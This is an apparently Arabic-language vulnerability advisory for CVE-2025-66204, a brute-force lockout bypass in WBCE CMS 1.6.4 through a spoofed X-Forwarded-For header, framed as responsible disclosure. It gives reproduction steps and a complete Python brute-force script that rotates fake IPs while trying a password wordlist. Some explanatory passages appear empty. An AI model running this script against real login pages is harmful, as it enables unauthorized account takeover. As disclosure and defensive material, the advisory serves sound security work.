
CVE-2025-66204 - WBCE CMS يسمح بتجاوز حماية القوة الغاشمة باستخدام رأس X-Forwarded-For
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-66204 |
| الخطورة | MEDIUM |
| الإشعار | عرض الإشعار |
| اكتشفه | Lukasz Rybak |
يوجد تجاوز لحماية القوة الغاشمة في WBCE CMS 1.6.4. تقوم آلية تقييد تسجيل الدخول بحظر عنوان IP بعد 5 محاولات تسجيل دخول غير صالحة. ومع ذلك، يثق التطبيق تماماً في رأس X-Forwarded-For دون التحقق منه أو تقييد استخدامه. من خلال تعديل X-Forwarded-For في كل طلب، يمكن للمهاجم إعادة تعيين العداد إلى أجل غير مسمى والحصول على محاولات تخمين كلمة مرور غير محدودة، مما يؤدي فعلياً إلى تجاوز جميع حماية القوة الغاشمة.
يحدد WBCE CMS عنوان IP الخاص بالعميل باستخدام المنطق التالي:
على الرغم من أن WBCE لا يعمل خلف وكيل عكسي بشكل افتراضي، إلا أن نقطة نهاية تسجيل الدخول لا تزال تحلل X-Forwarded-For كلما كان موجوداً، حتى لو تمت إضافته يدوياً بواسطة العميل. نظراً لأن التطبيق لا يتحقق من أن الطلب يأتي من وكيل موثوق، يمكن للمهاجم حقن رأس X-Forwarded-For الخاص به مع أي عنوان IP عشوائي.
ينتج عن ذلك:
هذا السلوك قابل للتكرار على تثبيت نظيف وافتراضي بدون وكيل عكسي أمام WBCE CMS.
الخطوات
حاول تسجيل الدخول بكلمة مرور خاطئة وأرسل الرأس:
X-Forwarded-For: 10.0.0.10
كرر حتى حدوث الإغلاق (بعد 5 محاولات).

قم بتغيير الرأس إلى:
X-Forwarded-For: 10.0.0.11
يتم إعادة تعيين محاولات تسجيل الدخول والسماح بها مرة أخرى.

قم بالتدوير عبر 10.0.0.x وقم بالهجوم بالقوة الغاشمة دون أي قيود.
نص إثبات المفهوم الآلي
لقد قمت ببناء نص Python يقوم بتنفيذ الهجوم تلقائياً، مع تدوير عناوين IP المزيفة كل أربع محاولات واكتشاف تسجيل الدخول الناجح.
...
هذا يثبت تجاوزاً كاملاً للحماية.
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
تم الكشف عن هذا CVE بمسؤولية وفقاً لممارسات الكشف المنسقة عن الثغرات الأمنية. المعلومات المقدمة هنا هي لأغراض تعليمية ودفاعية فقط.